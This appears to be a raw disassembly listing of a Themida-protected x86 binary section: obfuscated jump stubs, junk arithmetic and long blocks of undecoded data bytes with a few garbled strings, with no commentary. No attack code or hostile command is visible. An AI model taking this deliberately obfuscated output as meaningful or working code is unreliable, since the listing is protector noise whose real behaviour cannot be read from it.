		dd 2888E581h, 814566AAh, 4ECh, 24348900h, 0E75590BEh, 0EB14E920h
		dd 8B66FFFFh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5450DC
; ---------------------------------------------------------------------------
		dw 5552h
		dd 0FFC612E9h, 240489FFh, 0FFD699E9h, 48F59FFh,	0CEE95C24h
		dd 81FFFF9Fh, 0BE7B11E5h, 81DDF72Bh, 8C91DAEDh,	2447C787h
		dd 56455B15h, 4286E952h, 7FE90000h, 0F7FFFF93h,	0D348E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B212:				; CODE XREF: Themida_:0054AB6Fj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		cmp	ecx, eax
		pushf
		jmp	loc_54458A
; ---------------------------------------------------------------------------
		dd 2474FF51h, 2434FF04h, 37AFE959h, 0F5810000h,	0D3A9CE05h
		dd 295DEA01h, 12EA81DAh, 8177514Fh, 0FA7846C2h,	3EA8155h
		dd 8B25E10Ah, 8950241Ch, 405E0h, 4050000h, 87000000h, 15C2404h
		dd 13C281C2h, 0E904DC31h, 0FFFF931Ah, 4C481h, 6C290000h
		dd 51E90424h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54B27F:				; CODE XREF: Themida_:00548D03j
		add	ecx, 4
		push	esi
		mov	esi, 4
		sub	ecx, 66E33519h
		add	ecx, esi
		add	ecx, 66E33519h
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		push	ebx
		jmp	loc_54E056
; ---------------------------------------------------------------------------
		dd 592434FFh, 4F6068h, 240C8900h, 70685954h, 89000053h
		dd 468242Ch, 0E9000000h, 4477h,	42474FFh, 0D590E95Bh, 0C89FFFFh
		dd 27C86824h, 0B8E92A7Dh, 5C000000h, 34FF3888h,	241C8B24h
		dd 10FCE9h, 0C5815D00h,	4, 52BCBF57h, 0E7D1717Ch, 0A574EF81h
		dd 0FD01E2F8h, 9F37E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B306:				; CODE XREF: Themida_:0054A975j
		sub	edi, 2F7A3D6Dh
		sub	esp, 4
		jmp	loc_54AC87
; ---------------------------------------------------------------------------
aIYs1		db '┬хYИ1*',0
		align 4
		dd 0CC243481h, 5E538E6Ch, 6CCCF681h, 0C15F538Eh, 0BD5505E6h
		dd 7E57DC1h, 815DEE09h,	52F75C6h, 4E6C177h, 69F4CE81h
		dd 0C6816D2Ah, 90850410h, 555EF301h, 0FFD821E9h, 0D8285BFFh
		dd 0FFEA08E9h, 240C8BFFh, 3304C483h, 3C31243Ch,	243C3324h
		dd 243DE9h, 24248900h, 4BD55h, 6C010000h, 0E95D0424h, 34A1h
; ---------------------------------------------------------------------------


loc_54B384:				; CODE XREF: Themida_:00545F30j
		xchg	edx, ebp
		push	ebx
		jmp	loc_54DB40
; ---------------------------------------------------------------------------
		dd 4DE9D329h, 5900001Dh, 27C4E981h, 0CF892A7Dh,	5FFA0159h
		dd 2474FF52h, 48F5A04h,	4FF5C24h, 0D7E99C24h, 53FFFF91h
		dd 27E96AB3h, 50FFFFF4h, 80DF55B8h, 58C201E5h, 815AD721h
		dd 0DD6399CFh, 0E6EF816Ah, 81284153h, 0FAF4B3C7h, 2D64E922h
		dd 1C870000h, 26CDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B3E6:				; CODE XREF: Themida_:0054E4E9j
		sub	ebp, 0D7A090ECh
		mov	esi, ebp
		pop	ebp
		shl	esi, 4
		jmp	loc_54BC44
; ---------------------------------------------------------------------------


loc_54B3F7:				; CODE XREF: Themida_:0054978Dj
		neg	ecx
		jmp	loc_54C8BB
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 67311131h, 19E9EE89h, 68FFFFFBh, 2973h, 0B9240C89h
		dd 0
aUiSO		db ')аU┴мИ+O',0
		align 2
		dd offset dword_598E68
		dw 8900h
		dd 6B1240Ch, 0E9C0C9FEh, 0DB4EE908h, 31ADFFFFh,	0EFBF57D8h
		dd 0E93B854Eh, 0FFFFC0C0h
; ---------------------------------------------------------------------------


loc_54B444:				; CODE XREF: Themida_:0054E634j
		push	55Eh
		mov	[esp], ecx
		push	2D8Fh
		mov	[esp], ebp
		mov	ebp, 0EBE7E38h
		jmp	loc_54E74E
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0DBBE5624h, 0BA1ED90Ch, 5A844E67h, 348BF201h, 4C48124h
		dd 0C1000000h, 0EA8105E2h, 2BAB683Ch, 148BD101h, 0F024E924h
		dd 28FFFFFh, 0FF90F9E9h, 99C980FFh, 0FFBC70E9h,	24248BFFh
		dd 50241489h, 0A439E99Ch, 0E688FFFFh, 0EAC4E958h, 335DFFFFh
		dd 4312404h, 24043324h,	2BC8E9h, 2434FF00h, 8324148Bh
		dd 895604C4h, 4C681E6h,	0E9000000h, 0FFFFC4AFh,	0A41CEA81h
		dd 0D6010004h, 8324148Bh, 0EE8304C4h, 24343304h, 33243431h
		dd 248B2434h, 0DA16E924h, 48BFFFFh, 0C078E924h,	0EC83FFFFh
		dd 0C896602h, 0B3535224h, 0FFEB803Ch, 8904EC83h, 0B353240Ch
		dd 0C0EB807Eh, 0EB80C3FEh, 8BDD8861h, 0C481241Ch, 4, 4CE9EB30h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B52F:				; CODE XREF: Themida_:0054D0FCj
		pop	ebx
		jmp	loc_54CD01
; ---------------------------------------------------------------------------
		db 58h,	68h, 0FCh
		dd 89000055h, 0E9542404h, 2BBBh, 9631E955h, 0BB53FFFFh
		dd 4, 4245C01h,	405585Bh, 68000000h, 58CCh, 0BB241C89h
		dd 4, 0E95BD801h, 0FFFFBAFEh
; ---------------------------------------------------------------------------


loc_54B570:				; CODE XREF: Themida_:0054CEA8j
		push	edx
		mov	edx, 1F1E7A76h
		shl	edx, 4
		sub	edx, 818254B0h
		add	ebx, 0D193057h
		jmp	loc_54EA80
; ---------------------------------------------------------------------------


loc_54B58A:				; CODE XREF: Themida_:0054F7E9j
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		jmp	loc_54934D
; ---------------------------------------------------------------------------
		dw 8F54h
		dd 0BB532404h, 4, 4245C01h, 0FFCE23E9h,	4D828FFh, 0B5515219h
		dd 59EA88A6h, 0E9F7B050h, 3B33h
; ---------------------------------------------------------------------------


loc_54B5C0:				; CODE XREF: Themida_:0054C630j
		pop	eax
		shr	eax, 2
		neg	eax
		jmp	loc_54BCEF
; ---------------------------------------------------------------------------
		db 2Ch
		dd 0B5515B05h, 29DBE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B5D6:				; CODE XREF: Themida_:0054EE7Aj
		mov	ebp, 484920EAh
		push	eax
		mov	eax, 2B857E30h
		xor	eax, 380106BBh
		push	ecx
		mov	ecx, 55ED13A3h
		or	eax, ecx
		jmp	loc_548CEB
; ---------------------------------------------------------------------------
		db 53h
		dd 7C88CF88h, 6CE90187h, 66FFFFE9h, 8EBC05Ah, 2CA8C380h
		dd 0E9D8285Ch, 5D1h
; ---------------------------------------------------------------------------


loc_54B610:				; CODE XREF: Themida_:00544B27j
		or	edx, eax
		jmp	loc_54ECA6
; ---------------------------------------------------------------------------
		db 52h
		dd 652A6851h, 0D1596AC6h, 10E981E1h, 0E9BB929Fh, 42B1h
; ---------------------------------------------------------------------------


loc_54B62C:				; CODE XREF: Themida_:00549488j
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		bt	[esp], eax
		pushf
		jmp	loc_54458A
; ---------------------------------------------------------------------------
		db 88h
		dd 34FF5830h, 2434FF24h, 0D9ABE95Ah, 401FFFFh, 4F0CE924h
		dd 34FF0000h, 4A99E924h, 0E8310000h, 81242C8Bh,	4C4h, 773A6800h
		dd 34890000h, 30BE924h,	875E0000h, 95E9240Ch, 5AFFFFA7h
		dd 335FFE29h, 34312434h, 24343324h, 2777E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B68D:				; CODE XREF: Themida_:00548E11j
		sub	esi, 88EC2FBBh
		or	edx, esi
		jmp	loc_54EF7D
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 1816804h, 3C890000h,	39B9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B6AA:				; CODE XREF: Themida_:00549730j
		push	69F0h
		mov	[esp], ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_54CF6F
; ---------------------------------------------------------------------------


loc_54B6BF:				; CODE XREF: Themida_:005467F7j
		push	esi
		push	0A592DEF2h
		pop	esi
		add	ecx, 1C377FB2h
		sub	ecx, 6AA60BE5h
		add	ecx, esi
		add	ecx, 6AA60BE5h
		push	esi
		mov	esi, 1C377FB2h
		sub	ecx, esi
		pop	esi
		pop	esi
		push	ebx
		mov	ebx, 24h
		add	ebx, edi
		push	eax
		mov	eax, 0
		jmp	loc_54FC07
; ---------------------------------------------------------------------------


loc_54B6F7:				; CODE XREF: Themida_:005493FEj
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 0Ah
		push	180Ah
		mov	[esp], ebp
		push	ebx
		push	eax
		mov	eax, 109622CCh
		add	[esp+4], eax
		mov	eax, [esp]
		jmp	loc_549EBF
; ---------------------------------------------------------------------------
		db 58h,	1, 0C6h
		dd 58FBEE81h, 6E94FB8h,	66FFFFDDh, 57240C8Bh, 4EC81h, 24890000h
		dd 24048124h, 4, 81243C8Bh, 4C4h, 0A838E900h, 2489FFFFh
		dd 4BD5524h, 1000000h, 5D04246Ch, 0E92434FFh, 13A4h, 0E9873488h
		dd 0FFFFD1DBh, 89241C89h, 376E9E3h, 815B0000h, 483A25EBh
		dd 81D3F701h, 882408EBh, 92F38146h, 0E96BF056h,	0FFFFE0F3h
; ---------------------------------------------------------------------------


loc_54B78C:				; CODE XREF: Themida_:0055027Cj
		push	ebx
		push	esi
		mov	esi, 409A0F62h
		mov	ebx, 2501354Bh
		add	ebx, 3A7F526Dh
		add	ebx, esi
		sub	ebx, 3A7F526Dh
		pop	esi
		jmp	loc_54A21C
; ---------------------------------------------------------------------------
		dd 4C481h, 48F0000h, 24248B24h,	5A2434FFh, 0FFA4F7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B7C1:				; CODE XREF: Themida_:00546813j
		push	2A3Dh
		jmp	loc_5445AC
; ---------------------------------------------------------------------------


loc_54B7CB:				; CODE XREF: Themida_:0054D6B8j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54E169
; ---------------------------------------------------------------------------
aXaqt		db '(гX─Оt',0
		dw 5BF9h
		dd 8059CB00h, 0C3285AEBh, 0FF9D3FE9h, 2A4ABEFFh, 72681C83h
		dd 8900004Ah, 1CB82404h, 0E913B36Eh, 0FFFFEB4Bh
; ---------------------------------------------------------------------------


loc_54B80C:				; CODE XREF: Themida_:00544AD9j
		add	edx, 81D78BD1h
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_54F403
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 4C48324h, 0C8B5451h, 4C48324h, 4C181h, 0BA520000h
		dd 4, 0A3E9D101h, 6800001Eh, 796Bh, 0BF243C89h,	46FF6768h
		dd 2BA7EF81h, 68530267h, 6F5F4EFCh, 0E9241C8Bh,	15h, 3124248Bh
		dd 0FE92404h, 0BAFFFF8Dh, 79D67F6Fh, 31D6E9h, 4C48300h
		dd 815BDF29h, 0E16267C7h, 82BA5213h, 0F73A8847h, 0E50AE9D2h
		dd 433FFFFh, 0B60F5C24h, 33A6E9C0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B8AA:				; CODE XREF: Themida_:0054C325j
		shr	edi, 2
		sub	edi, 34115335h
		push	edx
		mov	edx, 38E70609h
		jmp	loc_54C9A3
; ---------------------------------------------------------------------------


loc_54B8BE:				; CODE XREF: Themida_:0054C4A2j
		pop	edi
		and	eax, ebp
		pop	ebp
		shr	eax, 0Eh
		xor	eax, ecx
		push	eax
		push	edi
		mov	edi, esp
		jmp	loc_54FFDB
; ---------------------------------------------------------------------------
		dd 81242C8Bh, 4C4h, 0BA525800h,	14636C9Ch, 5DE9D2F7h, 51FFFF8Dh
		dd 4E0EE7B9h, 32E98158h, 506EEA6Fh, 0F8320CB8h,	88E9400Dh
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B8FF:				; CODE XREF: Themida_:0054914Dj
		mov	esi, 7C77574Ah
		and	edx, esi
		jmp	loc_54E8D5
; ---------------------------------------------------------------------------


loc_54B90B:				; CODE XREF: Themida_:0054CA19j
		xchg	ebx, [esp]
		jmp	loc_54A490
; ---------------------------------------------------------------------------
		db 83h
		dd 248904ECh, 24048124h, 4, 0E9243C8Bh,	20B0h, 5624048Bh
		dd 0C6815E54h, 4, 4C681h, 34870000h, 0FE315C24h, 83243C8Bh
		dd 0DCE904C4h, 80FFFFB5h, 0F7889AF6h, 0FFC19CE9h, 0E9E828FFh
		dd 0FFFF9FF7h
; ---------------------------------------------------------------------------


loc_54B95C:				; CODE XREF: Themida_:00548CC0j
		mov	cl, 38h
		add	cl, 34h
		shr	cl, 5
		sub	cl, 22h
		shl	cl, 7
		jmp	loc_54FF75
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF3877h, 240C8B24h, 0FFE1F1E9h, 100BEFFh, 0C2E90000h
		dd 88FFFFA3h, 5AD188C2h, 0FFCB40E9h, 39D368FFh,	5CE90000h
		dd 53000040h, 9D5AE955h, 0C5FEFFFFh, 0E944ED80h, 0FFFFA647h
		dd 6822F781h, 0EF81123Ch, 5970DFEh, 3B60EF81h, 0FE014D19h
		dd 0FFC1A3E9h, 4EC81FFh, 89000000h, 0E951241Ch,	0FFFFBD29h
		dd 4C481h, 0F4E90000h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B9DF:				; CODE XREF: Themida_:0054D2FBj
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_54BBFA
; ---------------------------------------------------------------------------


loc_54B9F1:				; CODE XREF: Themida_:00550639j
		pop	edx
		add	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_544A2A
; ---------------------------------------------------------------------------
		dd 5C243C87h, 115E9h, 28C78100h, 81DDE3A6h, 1D1BEFEDh
		dd 71C58101h, 1702719h,	80BA52FDh, 81297B51h, 4B4056C2h
		dd 0A7F2812Bh, 2924E188h, 0E08AE9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BA32:				; CODE XREF: Themida_:0054BB72j
		xchg	ecx, [esp]
		pop	esp
		push	6Dh
		mov	[esp], ecx
		mov	ecx, 1
		and	eax, ecx
		jmp	loc_54789A
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 0F7B4E940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BA52:				; CODE XREF: Themida_:0054AF9Ej
		mov	ebp, edx
		jmp	loc_547D11
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0DF41EF68h, 24048B62h, 0E904C483h, 0FFFFA905h, 0EB814B4Bh
		dd 97CB9B64h, 1C73E9h
		db 0
; ---------------------------------------------------------------------------


loc_54BA79:				; CODE XREF: Themida_:0054FC2Dj
		add	ebx, 32FBA285h
		add	esi, 61B55A94h
		sub	esi, ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 61B55A94h
		sub	esi, edx
		jmp	loc_54E1DF
; ---------------------------------------------------------------------------


loc_54BA99:				; CODE XREF: Themida_:00549011j
		pop	esi
		jmp	loc_548FB8
; ---------------------------------------------------------------------------
		db 33h
		dd 2C31242Ch, 242C3324h, 0FF8B79E9h, 81E189FFh,	4C1h, 4E98300h
		dd 0E9240C87h, 0FFFFB024h, 0CEDE4968h, 82E95D81h, 0F7FFFFD4h
		dd 6FF181D9h, 0F727744Ah, 4FC181D9h, 1407006h, 0DC2D59C8h
		dd 0E97D724Ah, 0FFFFE14Fh, 8904EC83h, 4BA2414h,	1000000h
		dd 53565AD3h, 2BBh, 5BDE8900h, 875EF301h, 248B241Ch, 240CD324h
		dd 8A78E99Ch, 0D001FFFFh, 0B148E95Ah, 0E95AFFFFh, 0FFFF8A6Ah
		dd 389568h, 243C8900h, 118AE9h,	57E38900h, 0CAFE9h, 24148B00h
		dd 4C481h, 0F0010000h, 8324348Bh, 20504C4h, 87000000h
		dd 665C2404h, 0E9240C8Bh, 429Ch, 37B0BA52h, 0E94A748Ch
		dd 0FFFFB795h
; ---------------------------------------------------------------------------


loc_54BB64:				; CODE XREF: Themida_:0054E18Dj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_54BA32
; ---------------------------------------------------------------------------
		db 89h
		dd 99BB241Ch, 810C075Ch, 6C6128E3h, 34E95111h, 31FFFF8Dh
		dd 0F78158C7h, 0BF707FEh, 5891C281h, 0FA013326h, 5891EA81h
		dd 815F3326h, 2C2h, 24148700h, 0FFDF2BE9h, 0B65266FFh
		dd 0E9F000ADh, 0FFFFA3BCh, 0F3E9DE88h, 0F7000047h, 4EBE56DDh
		dd 11DC5BFh, 24348BF5h,	5104C483h, 0CB89E989h, 242C8B59h
		dd 0FFA2B3E9h, 5B5C04FFh, 0FFB414E9h, 67A368FFh, 815A461Ah
		dd 0E32E8ECAh, 0D369E937h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BBFA:				; CODE XREF: Themida_:0054B9ECj
		mov	edi, 4
		and	ecx, edi
		mov	edi, [esp]
		jmp	loc_54476F
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 24348B5Bh, 4C481h, 0D8010000h, 8B2434FFh, 0C483241Ch
		dd 3337E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54BC26:				; CODE XREF: Themida_:0054D118j
		mov	ebx, [esp]
		jmp	loc_54DA15
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 240C8B24h, 6804C483h, 1890h,	0E9243489h, 36D7h
; ---------------------------------------------------------------------------


loc_54BC44:				; CODE XREF: Themida_:0054B3F2j
		add	esi, 0CCEB6986h
		jmp	loc_54E5FE
; ---------------------------------------------------------------------------
		db 52h
		dd 0E951BBB2h, 0FFFFD843h, 405h, 22CBE900h, 53AD0000h
		dd 1127E9h, 5FFA0100h, 835AD601h, 348704C6h, 20E95C24h
		dd 58FFFFE6h, 15D6BA52h, 0EA810D57h, 0FF7672Ah,	0F281DAF7h
		dd 670B5418h, 1359C281h, 0D021B530h, 3E8C15Ah, 32628005h
		dd 2570052Bh, 19E906A1h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BCAB:				; CODE XREF: Themida_:00545A55j
		add	ebp, edx
		jmp	loc_549447
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC832404h, 0CFC3E904h, 159FFFFh, 0C78358C7h, 243C8704h
		dd 40E9515Ch, 83FFFFDFh, 0C68304C4h, 0E5E0E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BCDA:				; CODE XREF: Themida_:0054E1F7j
		xor	eax, ecx
		jmp	loc_5462E7
; ---------------------------------------------------------------------------


loc_54BCE1:				; CODE XREF: Themida_:00547E82j
		push	edx
		mov	edx, 7D0830E0h
		add	edi, edx
		pop	edx
		jmp	loc_5504F9
; ---------------------------------------------------------------------------


loc_54BCEF:				; CODE XREF: Themida_:0054B5C6j
		add	eax, 0FBAA968h
		jmp	loc_54AF8C
; ---------------------------------------------------------------------------
		db 4Bh,	81h, 0C3h
		dd 1BCB40FBh, 0FFE0BBE9h, 4B8FFh, 0C3010000h, 8324048Bh
		dd 0C38304C4h, 241C8704h, 7BD8685Ch, 48E90000h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BD23:				; CODE XREF: Themida_:00544841j
		sub	dword ptr [esp], 7F4602DBh
		jmp	loc_54D486
; ---------------------------------------------------------------------------


loc_54BD2F:				; CODE XREF: Themida_:0054DB35j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_54D979
; ---------------------------------------------------------------------------
		dw 1CF7h
		dd 43E99C24h, 8BFFFF88h, 0C4812434h, 4,	0E95DE829h, 2920h
		dd 8124048Bh, 4C4h, 68505700h, 62822B3Bh, 5CE0558h, 0C789F3E7h
		dd 1CF8158h, 0E97DE82Fh, 0FFFFA0EDh, 0EEE9F389h, 66000027h
		dd 66513768h, 66241489h, 0F7E99C50h, 66FFFF87h,	0E9240489h
		dd 0FFFF87EEh, 4AC04ACh, 22B551B3h, 11E9E828h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54BDAB:				; CODE XREF: Themida_:00548187j
		add	al, 4Eh
		jmp	loc_54CEAD
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 241C8904h, 4BBh, 0E9DA0100h,	3E6Eh
; ---------------------------------------------------------------------------


loc_54BDC4:				; CODE XREF: Themida_:0054FA4Fj
		mov	eax, esp
		add	eax, 4
		jmp	loc_545A8C
; ---------------------------------------------------------------------------
		dd 0E9028864h, 0FFFF87B2h, 8102EAC1h, 0CCA1D9F2h, 5AD5897Bh
		dd 3D51E9h, 48B6600h, 0CB11E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BDF2:				; CODE XREF: Themida_:0054A2DDj
		mov	ebx, 1
		jmp	loc_546291
; ---------------------------------------------------------------------------
		dd 0B8240489h, 5DE4630Fh, 7E0DBE56h, 0E681054Fh, 0A8978DEh
		dd 792CCE81h, 81460D14h, 154C79EEh, 0ECF68175h,	0E99E1045h
		dd 0FFFFB731h, 4EFB68h,	240C8900h, 5626AEB9h, 59CF2976h
		dd 0C781D701h, 765626AEh, 684FB951h, 0CF012F77h, 0F8315A59h
		dd 2EEE9h, 24248900h, 4240483h,	4C18159h, 68000000h, 3EA6h
		dd 50241489h, 8E4708B8h, 52E9483Bh, 50FFFFA2h, 0DDE9E089h
		dd 28FFFFFDh, 2CC02CF8h, 0EC8151A6h, 4,	4007E9h, 7579BB00h
		dd 0F3817DD7h, 326B5D56h, 5702E3C1h, 3B40DFBFh,	142DE94Ah
		dd 565F0000h, 0FFB0CDE9h, 24148BFFh, 1A19E9h
		db 0
; ---------------------------------------------------------------------------


loc_54BEB5:				; CODE XREF: Themida_:0054DB4Aj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		pop	ebx
		pop	ebp
		jmp	loc_5491F8
; ---------------------------------------------------------------------------
		db 0ADh, 2Dh, 0FEh
		dd 135EF3Eh, 25E957D8h,	66000023h, 2D66E801h, 2C8B18BAh
		dd 0E6F7E924h, 1C89FFFFh, 2BB24h, 0D8010000h, 5B2434FFh
		dd 4C481h, 4870000h, 8B665C24h,	47682404h, 8900000Dh, 0FE682414h
		dd 54000042h, 8324048Fh, 8B042404h, 0D8E92414h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BF27:				; CODE XREF: Themida_:0054FEE3j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		neg	dword ptr [esp]
		jmp	loc_54866F
; ---------------------------------------------------------------------------
		dd 0C925E958h, 7C8AFFFFh, 44880224h, 8B660224h,	54512404h
		dd 4C18159h, 81000000h,	2C1h, 240C8700h, 0FFC83AE9h, 6DE95EFFh
		dd 66FFFFB8h, 56240C8Bh, 0FBE9E689h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54BF77:				; CODE XREF: Themida_:00548307j
		or	ebx, eax
		jmp	loc_547B1B
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 2EA3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54BF8A:				; CODE XREF: Themida_:00549D18j
		add	ebx, edi
		jmp	loc_5451CC
; ---------------------------------------------------------------------------
aFzsx		db 'fZИX=',0
		align 4
		dd 11ABEB81h, 0B9511C29h, 66B357C5h, 26D2E981h,	68410D24h
		dd 1B83h, 0BB241C89h, 307A1E10h, 0FFE9D8E9h, 1FC868FFh
		dd 8FE90000h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54BFC7:				; CODE XREF: Themida_:0054CF4Dj
		imul	cx
		push	small 7C97h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_54458A
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 8324048Bh, 0C4E904C4h, 5BFFFF8Bh,	54D0B850h
		dd 0EFE913D7h, 0E9FFFFA5h, 0FFFF858Eh, 0FFB60EB1h, 34FFCE30h
		dd 0C4815924h, 4, 0A9EE80h, 0A9C680DEh,	5B2434FFh, 4EC81h
		dd 4890000h, 5E08924h, 4, 405h,	24043300h, 33240431h, 305C2404h
		dd 0C3305AF0h, 0FFDFB6E9h, 686653FFh, 8B6670ACh, 0D1E9241Ch
		dd 59FFFF92h, 2C381h, 1C870000h, 0D4FEE924h, 248BFFFFh
		dd 0CC6CE924h, 0FF5CFFFFh, 48B2434h, 53E95724h,	0BBFFFFE4h
		dd 0D915B596h, 315BDD29h, 0D8015DEBh, 0FFE4D8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C085:				; CODE XREF: Themida_:0054FCBBj
		mov	[esp], ebp
		push	ecx
		mov	ecx, 9555554h
		mov	ebp, 4CECC651h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0A32313Eh
		jmp	loc_548CC5
; ---------------------------------------------------------------------------
		db 0B0h
		dd 5AF028F7h, 846E9h, 24048F00h, 0FF24248Bh, 68582434h
		dd 5BC4h, 0E9240489h, 423Ch, 0E2EDE955h, 0C481FFFFh, 4
		dd 44C3C281h, 0C2014A9Ah, 0FFB7E9E9h, 10BD55FFh, 812C5C6Eh
		dd 0EFEC81C5h, 17940537h, 66E915F9h, 0ACFFFFE0h, 8904B204h
		dd 0D800E32Ch, 892CE304h, 4EC81h, 0C890000h, 53FDB524h
		dd 0FD28FFB7h, 4EC835Bh, 0FBFE9h, 24348700h, 0FF9BE5E9h
		dd 0E9EB09FFh, 0FFFFE992h, 94E95854h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C12F:				; CODE XREF: Themida_:0054E898j
		sub	ebp, 109622CCh
		push	317Ah
		jmp	loc_54FA15
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0BE9h, 58C18000h, 0E96DE980h, 0FFFFA765h, 0FE67E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C156:				; CODE XREF: Themida_:0054E0ECj
		push	ecx
		jmp	loc_544A62
; ---------------------------------------------------------------------------


loc_54C15C:				; CODE XREF: Themida_:0054F976j
		push	5F80h
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_54458A
; ---------------------------------------------------------------------------
		db 59h
		dd 80FFEB80h, 0CB8006EBh, 1C380CDh, 0FFFA2FE9h,	4EC81FFh
		dd 89000000h, 8DE92404h, 50FFFFFFh, 0FBB6E954h,	0E801FFFFh
		dd 56D8015Dh, 0F33271BEh, 84F6815Fh, 29065D13h,	24348BF0h
		dd 4C481h, 5BE90000h, 5C000013h, 0FFD51DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C1C9:				; CODE XREF: Themida_:0054E7CCj
		and	edx, ebx
		pop	ebx
		jmp	loc_54FFB4
; ---------------------------------------------------------------------------
		db 68h,	88h, 37h
		dd 1C890000h, 2474FF24h, 48F5B04h, 24248B24h, 54240489h
		dd 0FFAF2DE9h, 305B5AFFh, 845E9C1h, 0C4810000h,	4, 0B8505752h
		dd 2E0A2D81h, 1456E9h, 0E91B3400h, 0FFFF9306h, 2434875Bh
		dd 4C2815Ch, 81000000h,	2EAh, 6A2E900h,	0F9F60000h, 0CCB60F66h
		dd 383D6866h, 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFE49Ch
		dd 5C24048Fh, 0FF848AE9h, 0E95266FFh, 2DF0h, 5404EC83h
		dd 8124048Fh, 42404h, 575E0000h, 8C3147BFh, 0E7814742h
		dd 78ED61C3h, 0FFF73BE9h, 4EF83FFh, 0E9243C87h,	0FFFFEA54h
; ---------------------------------------------------------------------------


loc_54C27C:				; CODE XREF: Themida_:005459DEj
		pop	eax
		xchg	ecx, [esp]
		jmp	loc_54CF4C
; ---------------------------------------------------------------------------
		db 0C1h, 0EFh, 6
		dd 5512BD55h, 0E5C16C69h, 50EDD106h, 0F032F5B8h, 2EC92D61h
		dd 0AD05003Bh, 1D87B68h, 0ED8158C5h, 0C82CC24Ch, 815DEF09h
		dd 1CD3C2F7h, 8BFE893Ch, 14E9243Ch, 88FFFF98h, 58E288FCh
		dd 0FFBD4DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C2C9:				; CODE XREF: Themida_:0054DA75j
		pop	ecx
		mov	ebx, [esp]
		jmp	loc_549D97
; ---------------------------------------------------------------------------
		dw 0F66h
aQhpo		db '╤лQhpO',0
		align 4
		dd 0FFF2B9E9h, 4C481FFh, 0E9000000h, 890h, 6656E980h, 8324148Bh
		dd 0E18002C4h, 3E1C0E3h, 0C180E9D0h, 59C888A0h,	2858C328h
		dd 112568C3h, 0C890000h, 0F607B124h, 8BBBE9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C31A:				; CODE XREF: Themida_:00549D1Fj
		mov	edi, 0D5F55D9h
		and	edi, 83718F3h
		jmp	loc_54B8AA
